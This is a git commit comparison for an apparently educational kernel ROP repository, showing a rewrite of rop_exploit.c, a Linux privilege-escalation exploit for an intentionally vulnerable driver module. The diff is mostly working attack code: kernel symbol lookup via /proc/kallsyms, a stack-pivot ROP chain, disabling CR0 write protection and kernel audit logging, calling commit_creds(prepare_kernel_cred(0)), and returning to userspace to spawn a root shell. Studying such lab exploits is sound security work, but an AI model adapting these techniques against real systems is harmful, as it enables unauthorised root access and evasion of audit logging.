Compare commits
3 Commits
Author | SHA1 | Date | |
---|---|---|---|
b8e6f9f947 | |||
94e9b98948 | |||
421f91557c |
@ -5,6 +5,8 @@ privilege escalation ROP (Return Oriented Programming) chain in practice. The
|
|||||||
article URL for Part 1 is available at
|
article URL for Part 1 is available at
|
||||||
<https://cyseclabs.com/page?n=17012016>.
|
<https://cyseclabs.com/page?n=17012016>.
|
||||||
|
|
||||||
|
[![asciicast](https://asciinema.org/a/62remtasmt80i4pk63cfu36fp.png)](https://asciinema.org/a/62remtasmt80i4pk63cfu36fp)
|
||||||
|
|
||||||
The driver module is vulnerable to OOB access and allows arbitrary code
|
The driver module is vulnerable to OOB access and allows arbitrary code
|
||||||
execution. An arbitrary offset can be passed from user space via the provided
|
execution. An arbitrary offset can be passed from user space via the provided
|
||||||
ioctl(). This offset is then used as the index for the 'ops' array to obtain
|
ioctl(). This offset is then used as the index for the 'ops' array to obtain
|
||||||
|
372
rop_exploit.c
372
rop_exploit.c
@ -1,10 +1,21 @@
|
|||||||
/**
|
/**
|
||||||
* ROP exploit for drv.c kernel module
|
* ROP exploit for drv.c kernel module
|
||||||
*
|
*
|
||||||
|
* Tested in openSUSE Leap 42.1 (x86_64):
|
||||||
|
* Linux 4.1.27-27-default
|
||||||
|
* Linux 4.1.31-30-default
|
||||||
|
* Running in: qemu 2.5.0 / i7-4500U
|
||||||
|
*
|
||||||
|
* Compile:
|
||||||
* gcc rop_exploit.c -O2 -o rop_exploit
|
* gcc rop_exploit.c -O2 -o rop_exploit
|
||||||
*
|
*
|
||||||
* Email: vnik@cyseclabs.com
|
* Email: andrey.arapov@nixaid.com
|
||||||
* Vitaly Nikolenko
|
* Andrey Arapov
|
||||||
|
*
|
||||||
|
* Based on Vitaly Nikolenko's work:
|
||||||
|
* https://github.com/vnik5287/kernel_rop/
|
||||||
|
*
|
||||||
|
* Additional thanks to spender!
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#define _GNU_SOURCE
|
#define _GNU_SOURCE
|
||||||
@ -18,21 +29,58 @@
|
|||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
#include "drv.h"
|
#include "drv.h"
|
||||||
|
|
||||||
#define DEVICE_PATH "/dev/vulndrv"
|
#define DEVICE_PATH "/dev/vulndrv"
|
||||||
|
|
||||||
|
#define EFL_RESERVED1 (1 << 1)
|
||||||
|
#define EFL_PARITY (1 << 2)
|
||||||
|
#define EFL_ZEROFLAG (1 << 6)
|
||||||
|
#define EFL_INTERRUPTENABLE (1 << 9)
|
||||||
|
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
|
||||||
|
|
||||||
|
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
|
||||||
|
/* for insta-iopl 3, for whatever reason!
|
||||||
|
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
|
||||||
|
*/
|
||||||
|
|
||||||
unsigned long user_cs;
|
unsigned long user_cs;
|
||||||
unsigned long user_ss;
|
unsigned long user_ss;
|
||||||
unsigned long user_rflags;
|
unsigned long user_rflags;
|
||||||
|
|
||||||
static void save_state() {
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||||
asm(
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||||
"movq %%cs, %0\n"
|
_commit_creds commit_creds;
|
||||||
"movq %%ss, %1\n"
|
_prepare_kernel_cred prepare_kernel_cred;
|
||||||
|
|
||||||
|
int *audit_enabled;
|
||||||
|
char *exit_stack;
|
||||||
|
|
||||||
|
static void get_segment_descriptors(void)
|
||||||
|
{
|
||||||
|
#ifdef __x86_64__
|
||||||
|
asm volatile (
|
||||||
|
"movq %%cs, %0 ;"
|
||||||
|
"movq %%ss, %1 ;"
|
||||||
"pushfq\n"
|
"pushfq\n"
|
||||||
"popq %2\n"
|
"popq %2\n"
|
||||||
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
|
: "=r" (user_cs),
|
||||||
|
"=r" (user_ss),
|
||||||
|
"=r" (user_rflags)
|
||||||
|
: : "memory"
|
||||||
|
);
|
||||||
|
#else
|
||||||
|
asm volatile (
|
||||||
|
"push %%cs ;"
|
||||||
|
"pop %0 ;"
|
||||||
|
"push %%ss ;"
|
||||||
|
"pop %1 ;"
|
||||||
|
: "=r" (user_cs),
|
||||||
|
"=r" (user_ss)
|
||||||
|
: : "memory"
|
||||||
|
);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void shell(void) {
|
void shell(void) {
|
||||||
@ -42,6 +90,180 @@ void shell(void) {
|
|||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int __attribute__((regparm(3))) get_root()
|
||||||
|
{
|
||||||
|
commit_creds(prepare_kernel_cred(0));
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* greets to qaaz */
|
||||||
|
static void exit_kernel(void)
|
||||||
|
{
|
||||||
|
#ifdef __x86_64__
|
||||||
|
asm volatile (
|
||||||
|
"swapgs ;"
|
||||||
|
"movq %0, 0x20(%%rsp) ;"
|
||||||
|
"movq %1, 0x18(%%rsp) ;"
|
||||||
|
"movq %2, 0x10(%%rsp) ;"
|
||||||
|
"movq %3, 0x08(%%rsp) ;"
|
||||||
|
"movq %4, 0x00(%%rsp) ;"
|
||||||
|
"iretq"
|
||||||
|
: : "r" (user_ss),
|
||||||
|
"r" (exit_stack + (1024 * 1024) - 0x80),
|
||||||
|
"r" (user_rflags),
|
||||||
|
// "i" (USER_EFLAGS),
|
||||||
|
"r" (user_cs),
|
||||||
|
"r" (shell)
|
||||||
|
);
|
||||||
|
#else
|
||||||
|
asm volatile (
|
||||||
|
"movl %0, 0x10(%%esp) ;"
|
||||||
|
"movl %1, 0x0c(%%esp) ;"
|
||||||
|
"movl %2, 0x08(%%esp) ;"
|
||||||
|
"movl %3, 0x04(%%esp) ;"
|
||||||
|
"movl %4, 0x00(%%esp) ;"
|
||||||
|
"iret"
|
||||||
|
: : "r" (user_ss),
|
||||||
|
"r" (exit_stack + (1024 * 1024) - 0x80),
|
||||||
|
"r" (user_rflags),
|
||||||
|
// "i" (USER_EFLAGS),
|
||||||
|
"r" (user_cs),
|
||||||
|
"r" (shell)
|
||||||
|
);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
unsigned long inline get_cr0(void)
|
||||||
|
{
|
||||||
|
unsigned long _cr0;
|
||||||
|
|
||||||
|
asm volatile (
|
||||||
|
"mov %%cr0, %0"
|
||||||
|
: "=r" (_cr0)
|
||||||
|
);
|
||||||
|
|
||||||
|
return _cr0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void inline set_cr0(unsigned long _cr0)
|
||||||
|
{
|
||||||
|
asm volatile (
|
||||||
|
"mov %0, %%cr0"
|
||||||
|
:
|
||||||
|
: "r" (_cr0)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int inline turn_off_wp(void)
|
||||||
|
{
|
||||||
|
unsigned long _cr0;
|
||||||
|
|
||||||
|
_cr0 = get_cr0();
|
||||||
|
_cr0 &= ~0x10000;
|
||||||
|
set_cr0(_cr0);
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void inline turn_on_wp(void)
|
||||||
|
{
|
||||||
|
unsigned long _cr0;
|
||||||
|
|
||||||
|
_cr0 = get_cr0();
|
||||||
|
_cr0 |= 0x10000;
|
||||||
|
set_cr0(_cr0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int __attribute__((regparm(3))) disable_audit()
|
||||||
|
{
|
||||||
|
if (audit_enabled)
|
||||||
|
*audit_enabled = 0;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int __attribute__((regparm(3))) enable_audit()
|
||||||
|
{
|
||||||
|
if (!audit_enabled == 1)
|
||||||
|
*audit_enabled = 1;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned long get_kernel_sym(char *name)
|
||||||
|
{
|
||||||
|
FILE *f;
|
||||||
|
unsigned long addr;
|
||||||
|
char dummy;
|
||||||
|
char sname[512];
|
||||||
|
struct utsname ver;
|
||||||
|
int ret;
|
||||||
|
int rep = 0;
|
||||||
|
int oldstyle = 0;
|
||||||
|
|
||||||
|
f = fopen("/proc/kallsyms", "r");
|
||||||
|
if (f == NULL) {
|
||||||
|
f = fopen("/proc/ksyms", "r");
|
||||||
|
if (f == NULL)
|
||||||
|
goto fallback;
|
||||||
|
oldstyle = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
repeat:
|
||||||
|
ret = 0;
|
||||||
|
while(ret != EOF) {
|
||||||
|
if (!oldstyle)
|
||||||
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||||
|
else {
|
||||||
|
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||||
|
if (ret == 2) {
|
||||||
|
char *p;
|
||||||
|
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||||
|
continue;
|
||||||
|
p = strrchr(sname, '_');
|
||||||
|
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||||
|
p = p - 4;
|
||||||
|
while (p > (char *)sname && *(p - 1) == '_')
|
||||||
|
p--;
|
||||||
|
*p = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ret == 0) {
|
||||||
|
fscanf(f, "%s\n", sname);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!strcmp(name, sname)) {
|
||||||
|
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||||
|
fclose(f);
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(f);
|
||||||
|
if (rep)
|
||||||
|
return 0;
|
||||||
|
fallback:
|
||||||
|
/* didn't find the symbol, let's retry with the System.map
|
||||||
|
dedicated to the pointlessness of Russell Coker's SELinux
|
||||||
|
test machine (why does he keep upgrading the kernel if
|
||||||
|
"all necessary security can be provided by SE Linux"?)
|
||||||
|
*/
|
||||||
|
uname(&ver);
|
||||||
|
if (strncmp(ver.release, "2.6", 3))
|
||||||
|
oldstyle = 1;
|
||||||
|
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||||
|
f = fopen(sname, "r");
|
||||||
|
if (f == NULL)
|
||||||
|
return 0;
|
||||||
|
rep = 1;
|
||||||
|
goto repeat;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
void usage(char *bin_name) {
|
void usage(char *bin_name) {
|
||||||
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
|
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
|
||||||
}
|
}
|
||||||
@ -51,51 +273,123 @@ int main(int argc, char *argv[])
|
|||||||
int fd;
|
int fd;
|
||||||
struct drv_req req;
|
struct drv_req req;
|
||||||
void *mapped, *temp_stack;
|
void *mapped, *temp_stack;
|
||||||
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
|
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
|
||||||
|
|
||||||
if (argc != 3) {
|
if (argc != 3) {
|
||||||
usage(argv[0]);
|
usage(argv[0]);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
audit_enabled = (int *)get_kernel_sym("audit_enabled");
|
||||||
|
|
||||||
|
// commit_creds = (_commit_creds) 0xffffffff810887a0UL;
|
||||||
|
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff81088a80UL;
|
||||||
|
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
||||||
|
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
||||||
|
|
||||||
|
if (commit_creds == NULL || prepare_kernel_cred == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* req.offset
|
||||||
|
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
|
||||||
|
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
|
||||||
|
*/
|
||||||
req.offset = strtoul(argv[1], NULL, 10);
|
req.offset = strtoul(argv[1], NULL, 10);
|
||||||
base_addr = strtoul(argv[2], NULL, 16);
|
base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
|
||||||
|
|
||||||
printf("array base address = 0x%lx\n", base_addr);
|
printf("array base address = 0x%lx\n", base_addr);
|
||||||
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
|
|
||||||
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
|
|
||||||
|
|
||||||
mmap_addr = stack_addr & 0xffff0000;
|
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
|
||||||
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
|
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
|
||||||
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
|
|
||||||
|
|
||||||
save_state();
|
/*
|
||||||
|
* allocate space in memory where the fake_stack will be stored.
|
||||||
|
*/
|
||||||
|
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
|
||||||
|
mapped = mmap((void*)mmap_addr, 0x20000,
|
||||||
|
PROT_EXEC|PROT_READ|PROT_WRITE,
|
||||||
|
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||||
|
assert(mapped == (void*)mmap_addr);
|
||||||
|
|
||||||
|
temp_stack = mmap((void*)0x30000000, 0x10000000,
|
||||||
|
PROT_EXEC|PROT_READ|PROT_WRITE,
|
||||||
|
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||||
|
assert(temp_stack == (void*)0x30000000);
|
||||||
|
|
||||||
|
// save state
|
||||||
|
get_segment_descriptors();
|
||||||
|
|
||||||
|
exit_stack = (char *)calloc(1, 1024 * 1024);
|
||||||
|
if (exit_stack == NULL) {
|
||||||
|
fprintf(stdout, "Unable to alloc exit_stack\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// fake_stack begins here
|
||||||
fake_stack = (unsigned long *)(stack_addr);
|
fake_stack = (unsigned long *)(stack_addr);
|
||||||
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
|
*fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
|
||||||
|
|
||||||
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
|
/*
|
||||||
|
* Making sure that in reality 0x314c is 0x314c:
|
||||||
|
* $ grep 0x14ff $(uname -r).gadgets
|
||||||
|
* 0xffffffff81034898 : xchg eax, esp ; ret 0x314c
|
||||||
|
*
|
||||||
|
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
|
||||||
|
* (gdb) x/2i 0xffffffff81034898
|
||||||
|
* 0xffffffff81034898: xchg %eax,%esp
|
||||||
|
* 0xffffffff81034899: retq $0x314c
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
*fake_stack ++= 0x0UL; /* NULL */
|
// Update fake_stack's pointer
|
||||||
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
|
fake_stack = (unsigned long *)(stack_addr + 0x314c + 8);
|
||||||
|
|
||||||
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
|
/*
|
||||||
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
|
* To switch our process's owner to root, it is enough to execute:
|
||||||
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
|
* commit_creds(prepare_kernel_cred(0)) syscalls
|
||||||
|
* rdx(rax(0))
|
||||||
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
|
*
|
||||||
|
* Not sure why, but it fails when using bare ROP,
|
||||||
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
|
* so I will use a function pointer.
|
||||||
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
|
*/
|
||||||
|
*fake_stack ++= (unsigned long)turn_off_wp;
|
||||||
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
|
*fake_stack ++= (unsigned long)disable_audit;
|
||||||
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
|
*fake_stack ++= (unsigned long)get_root;
|
||||||
*fake_stack ++= user_cs; /* saved CS */
|
|
||||||
*fake_stack ++= user_rflags; /* saved EFLAGS */
|
|
||||||
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
|
|
||||||
*fake_stack ++= user_ss; /* saved SS */
|
|
||||||
|
|
||||||
|
|
||||||
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
|
// *fake_stack ++= 0xffffffff81000a9bUL; // pop %rdi; ret
|
||||||
|
// *fake_stack ++= 0x0UL; // rdi is NULL
|
||||||
|
// *fake_stack ++= 0xffffffff81088a80UL; // prepare_kernel_cred() and $rax points to cred struct
|
||||||
|
|
||||||
|
// *fake_stack ++= 0xffffffff81013926UL; // pop %rdx; ret
|
||||||
|
// //// *fake_stack ++= 0xffffffff810887a0UL; // commit_creds()
|
||||||
|
// // *fake_stack ++= 0xffffffff810887a5UL; // commit_creds() + 1 instruction
|
||||||
|
// *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
|
||||||
|
|
||||||
|
// *fake_stack ++= 0xffffffff810fdf41UL; // mov rdi, rax; call rdx => calls commit_creds(prepare_kernel_cred(0))
|
||||||
|
|
||||||
|
*fake_stack ++= (unsigned long)turn_on_wp;
|
||||||
|
// *fake_stack ++= (unsigned long)enable_audit;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* safely return to user-space from the kernel-space
|
||||||
|
* you can use exit_kernel function or a bare ROP available below.
|
||||||
|
*/
|
||||||
|
// *fake_stack ++= (void *)&exit_kernel;
|
||||||
|
*fake_stack ++= (unsigned long)exit_kernel;
|
||||||
|
|
||||||
|
// safely return to user-space from the kernel-space
|
||||||
|
// *fake_stack ++= 0xffffffff8104dc20UL; // swapgs ; ret
|
||||||
|
|
||||||
|
// *fake_stack ++= 0xffffffff816667e7UL; // iretq
|
||||||
|
// *fake_stack ++= (unsigned long)shell; // spawn a shell
|
||||||
|
// *fake_stack ++= user_cs; // saved CS
|
||||||
|
// *fake_stack ++= user_rflags; // saved EFLAGS
|
||||||
|
// *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
|
||||||
|
// *fake_stack ++= user_ss; // saved SS
|
||||||
|
|
||||||
|
|
||||||
fd = open(DEVICE_PATH, O_RDONLY);
|
fd = open(DEVICE_PATH, O_RDONLY);
|
||||||
|
|
||||||
@ -103,7 +397,13 @@ int main(int argc, char *argv[])
|
|||||||
perror("open");
|
perror("open");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* trigger the vulnerable Linux kernel driver now,
|
||||||
|
* pointing to our fake_stack
|
||||||
|
*/
|
||||||
ioctl(fd, 0, &req);
|
ioctl(fd, 0, &req);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4
|
||||||
|
Loading…
Reference in New Issue
Block a user